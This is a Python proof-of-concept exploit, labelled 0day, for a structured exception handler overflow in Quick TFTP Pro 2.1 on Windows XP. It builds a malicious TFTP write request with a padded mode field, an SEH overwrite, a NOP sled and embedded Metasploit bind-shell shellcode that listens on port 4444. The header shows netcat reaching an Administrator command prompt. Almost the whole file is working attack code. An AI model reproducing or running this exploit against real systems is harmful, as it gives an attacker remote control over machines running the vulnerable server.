#!/usr/bin/python # Quick TFTP Pro 2.1 SEH Overflow (0day) # Tested on Windows XP SP2. # Coded by Mati Aharoni # muts..at..offensive-security.com # http://www.offensive-security.com/0day/quick-tftp-poc.py.txt ######################################################### # bt ~ # quickftp.py # [*] Quick TFTP Pro 2.1 SEH Overflow (0day) # [*] http://www.offensive-security.com # [*] Sending evil packet, ph33r # [*] Check port 4444 for bindshell # bt ~ # nc -v 172.16.167.130 4444 # (UNKNOWN) [172.16.167.130] 4444 (krb524) open # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Documents and Settings\Administrator> ########################################################## import socket import sys print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)" print "[*] http://www.offensive-security.com" host = '172.16.167.134' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "pwnd" # windows/shell_bind_tcp - 317 bytes # http://www.metasploit.com # EXITFUNC=thread, LPORT=4444 shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0" "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66" "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38" "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57" "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9" "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6" "\xff\xd0") mode = "A"*1019+"\xeb\x08\x90\x90"+"\x58\x14\xd3\x74"+"\x90"*16+shell muha = "\x00\x02" + filename+ "\0" + mode + "\0" print "[*] Sending evil packet, ph33r" s.sendto(muha, (host, port)) print "[*] Check port 4444 for bindshell"